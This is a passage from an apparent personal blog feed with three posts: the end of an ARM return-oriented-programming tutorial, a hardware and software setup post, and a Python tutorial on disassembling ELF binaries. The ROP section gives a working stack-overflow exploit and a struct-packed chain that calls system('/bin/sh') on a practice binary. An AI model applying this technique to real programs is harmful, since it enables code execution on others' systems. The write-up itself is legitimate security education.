1128<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1129
1130<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1131
1132<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
1133<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1134
1135<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1136
1137<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1138to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
1139never actually called.</p>
1140
1141<p>Disassembling the <code>gadget</code> function:</p>
1142
1143<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1144
1145<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1146which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1147instruction in the middle. This is a <strong>gadget</strong>.</p>
1148
1149<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1150arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1151are used for this. So this gadget effectively allows us to pass arguments to
1152functions using <code>r0</code>, and subsequently jumping to them by passing its address
1153in <code>pc</code>. Neat.</p>
1154
1155<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1156
1157<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1158
1159<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1160So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1161function.</p>
1162
1163<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1164of exploitation by messing around with inputs.</p>
1165
1166<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
1167
1168<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1169screenshot.</p>
1170
1171<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1172
1173<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1174the <code>pc</code> has been overwritten with our input.
1175So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1176
1177<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1178control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1179
1180<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1181of the second instruction — <code>add r11, sp, #4</code>. 
1182For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1183the address of <code>winner</code>. Note the endianness.</p>
1184
1185<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
1186</code></pre></div>
1187
1188<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1189
1190<p>The reason we don’t jump to the first instruction is because we want to control the stack
1191ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1192those out after <code>winner</code> is done executing and we will no longer control 
1193where it jumps to.</p>
1194
1195<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
1196But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1197to do what we want (run a command, execute a shell, etc.).</p>
1198
1199<p>To do that, we’ll follow a multi-step process: </p>
1200
1201<ol>
1202<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1203<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1204<code>r0</code>.</li>
1205<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1206</ol>
1207
1208<p>The pseudo-code is something like this:</p>
1209
1210<pre><code>string = AAAABBBBCCCCDDDDEEEE
1211gadget = # addr of gadget
1212binsh  = # addr of /bin/sh
1213system = # addr of system()
1214
1215print(string + gadget + binsh + system)
1216</code></pre>
1217
1218<p>Clean and mean.</p>
1219
1220<h3 id="the-exploit">The exploit</h3>
1221
1222<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1223It allows us to pack the bytes of addresses to the endianness of our choice.
1224It probably does a lot more, but who cares.</p>
1225
1226<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1227at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1228
1229<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
1230</code></pre>
1231
1232<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1233
1234<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1235found from the disassmblies from earlier. Here’s the final exploit code:</p>
1236
1237<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1238
1239<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1240<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
1241<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1242<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1243
1244<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1245</code></pre></div>
1246
1247<p>Honestly, not too far off from our pseudo-code :)</p>
1248
1249<p>Let’s see it in action:</p>
1250
1251<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1252
1253<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1254when the pipe closes, since there’s no input coming in from STDIN.
1255To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1256to the shell. Nifty trick.</p>
1257
1258<h3 id="conclusion">Conclusion</h3>
1259
1260<p>This was a fairly basic challenge, with everything laid out conveniently. 
1261Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1262to acheive code execution.</p>
1263
1264<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1265]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1266
1267<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
12688 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1269
1270<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1271I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1272
1273<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1274
1275<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
1276For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1277
1278<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
1279Great pair of headphones, although the ear cups need replacing.</p>
1280
1281<h3 id="and-the-software">And the software</h3>
1282
1283<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1284window manager, all riced. I now use whatever JustWorks™.</del></p>
1285
1286<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
1287running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1288
1289<p>Here’s a (riced) screenshot of my desktop. </p>
1290
1291<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1292
1293<p>Most of my work is done in either the browser, or the terminal.
1294My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1295a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1296My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1297I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1298
1299<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1300clean and a single command to drop into a Kali shell.</p>
1301
1302<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1303The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1304
1305<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1306]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1307
1308<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1309
1310<h3 id="setup">Setup</h3>
1311
1312<p>As the title suggests, you’re going to need a Python 3 interpreter before
1313anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1314in fact, have a Python 3 interpreter installed on your system, run</p>
1315
1316<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1317</code></pre></div>
1318
1319<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1320
1321<p>With that out of the way, let’s start with an example of a basic reversing
1322challenge.</p>
1323
1324<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1325
1326<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
1327<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
1328<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
1329
1330<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1331   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1332   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
1333   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1334       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1335   <span class="p">}</span>
1336   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
1337   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1338   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
1339   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
1340   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1341       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1342   <span class="p">}</span>
1343   <span class="k">else</span> <span class="p">{</span>
1344       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1345   <span class="p">}</span>
1346<span class="p">}</span>
1347</code></pre></div>
1348
1349<p>Compile it with GCC/Clang:</p>
1350
1351<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1352</code></pre></div>
1353
1354<h3 id="scripting">Scripting</h3>
1355
1356<p>For starters, let’s look at the different sections present in the binary.</p>
1357
1358<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1359
1360<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1361
1362<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1363    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1364    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1365        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1366</code></pre></div>
1367
1368<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1369
1370<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1371<span class="go">0x238 .interp</span>
1372<span class="go">0x254 .note.ABI-tag</span>
1373<span class="go">0x274 .note.gnu.build-id</span>
1374<span class="go">0x298 .gnu.hash</span>
1375<span class="go">0x2c0 .dynsym</span>
1376<span class="go">0x3e0 .dynstr</span>
1377<span class="go">0x484 .gnu.version</span>
1378<span class="go">0x4a0 .gnu.version_r</span>
1379<span class="go">0x4c0 .rela.dyn</span>
1380<span class="go">0x598 .rela.plt</span>
1381<span class="go">0x610 .init</span>
1382<span class="go">0x630 .plt</span>
1383<span class="go">0x690 .plt.got</span>
1384<span class="go">0x6a0 .text</span>
1385<span class="go">0x8f4 .fini</span>
1386<span class="go">0x900 .rodata</span>
1387<span class="go">0x924 .eh_frame_hdr</span>
1388<span class="go">0x960 .eh_frame</span>
1389<span class="go">0x200d98 .init_array</span>
1390<span class="go">0x200da0 .fini_array</span>
1391<span class="go">0x200da8 .dynamic</span>
1392<span class="go">0x200f98 .got</span>
1393<span class="go">0x201000 .data</span>
1394<span class="go">0x201010 .bss</span>
1395<span class="go">0x0 .comment</span>
1396<span class="go">0x0 .symtab</span>
1397<span class="go">0x0 .strtab</span>
1398<span class="go">0x0 .shstrtab</span>
1399</code></pre></div>
1400
1401<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1402
1403<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1404
1405<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1406
1407<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1408<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1409
1410<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1411    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1412    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
1413    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1414    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
1415    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1416    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
1417        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
1418</code></pre></div>
1419
1420<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1421
1422<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
1423<span class="go">0x6a0: xor ebp, ebp</span>
1424<span class="go">0x6a2: mov r9, rdx</span>
1425<span class="go">0x6a5: pop rsi</span>
1426<span class="go">0x6a6: mov rdx, rsp</span>
1427<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1428<span class="go">0x6ad: push rax</span>
1429<span class="go">0x6ae: push rsp</span>
1430<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1431<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1432<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1433<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1434<span class="go">0x6ca: hlt</span>
1435<span class="go">... snip ...</span>
1436</code></pre></div>
1437
1438<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1439
1440<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1441
1442<blockquote>
1443  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1444</blockquote>
1445
1446<p>To try and find these relocation entries, we write a third script.</p>
1447
1448<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1449
1450<span class="kn">import</span> <span class="nn">sys</span>
1451<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1452<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1453
1454<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1455    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1456    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1457        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1458            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
1459            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
1460            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1461                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
1462                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
1463                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
1464</code></pre></div>
1465
1466<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1467
1468<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1469<span class="go">.rela.dyn:</span>
1470<span class="go"> 0x200d98</span>
1471<span class="go"> 0x200da0</span>
1472<span class="go"> 0x201008</span>
1473<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1474<span class="go">**__libc_start_main 0x200fe0**</span>
1475<span class="go">__gmon_start__ 0x200fe8</span>
1476<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1477<span class="go">__cxa_finalize 0x200ff8</span>
1478<span class="go">stdin 0x201010</span>
1479<span class="go">.rela.plt:</span>
1480<span class="go">puts 0x200fb0</span>
1481<span class="go">printf 0x200fb8</span>
1482<span class="go">fgets 0x200fc0</span>
1483<span class="go">strcmp 0x200fc8</span>
1484<span class="go">malloc 0x200fd0</span>
1485</code></pre></div>
1486
1487<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
1488
1489<blockquote>
1490  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1491</blockquote>
1492
1493<p>And its definition is like so</p>
1494
1495<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
1496<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
1497<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1498<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1499<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1500<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1501</code></pre></div>
1502
1503<p>Looking back at our disassembly</p>
1504
1505<pre><code>0x6a0: xor ebp, ebp
15060x6a2: mov r9, rdx
15070x6a5: pop rsi
15080x6a6: mov rdx, rsp
15090x6a9: and rsp, 0xfffffffffffffff0
15100x6ad: push rax
15110x6ae: push rsp
15120x6af: lea r8, [rip + 0x23a]
15130x6b6: lea rcx, [rip + 0x1c3]
1514**0x6bd: lea rdi, [rip + 0xe6]**
15150x6c4: call qword ptr [rip + 0x200916]
15160x6ca: hlt
1517... snip ...
1518</code></pre>
1519
1520<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1521
1522<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1523
1524<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1525
1526<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1527
1528<pre><code>printf 0x650
1529fgets  0x660
1530strcmp 0x670
1531malloc 0x680
1532</code></pre>
1533
1534<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1535
1536<pre><code>0x7b2: mov edi, 0xa  ; 10
15370x7b7: call 0x680    ; malloc
1538</code></pre>
1539
1540<p>The loop to populate the <code>*pw</code> string</p>
1541
1542<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
15430x7d3:  cdqe    
15440x7d5:  lea     rdx, [rax - 1]
15450x7d9:  mov     rax, qword ptr [rbp - 0x10]
15460x7dd:  add     rax, rdx
15470x7e0:  movzx   eax, byte ptr [rax]
15480x7e3:  lea     ecx, [rax + 1]
15490x7e6:  mov     eax, dword ptr [rbp - 0x14]
15500x7e9:  movsxd  rdx, eax
15510x7ec:  mov     rax, qword ptr [rbp - 0x10]
15520x7f0:  add     rax, rdx
15530x7f3:  mov     edx, ecx
15540x7f5:  mov     byte ptr [rax], dl
15550x7f7:  add     dword ptr [rbp - 0x14], 1
15560x7fb:  cmp     dword ptr [rbp - 0x14], 8
15570x7ff:  jle     0x7d0
1558</code></pre>
1559
1560<p>And this looks like our <code>strcmp()</code></p>
1561
1562<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
15630x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
15640x84b:  mov     rsi, rdx             
15650x84e:  mov     rdi, rax
15660x851:  call    0x670                       ; strcmp  
15670x856:  test    eax, eax                    ; is = 0? 
15680x858:  jne     0x868                       ; no? jump to 0x868
15690x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
15700x861:  call    0x640                       ; puts
15710x866:  jmp     0x874
15720x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
15730x86f:  call    0x640                       ; puts  
1574</code></pre>
1575
1576<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1577
1578<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1579
1580<h3 id="conclusion">Conclusion</h3>
1581
1582<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1583
1584<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1585
1586<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
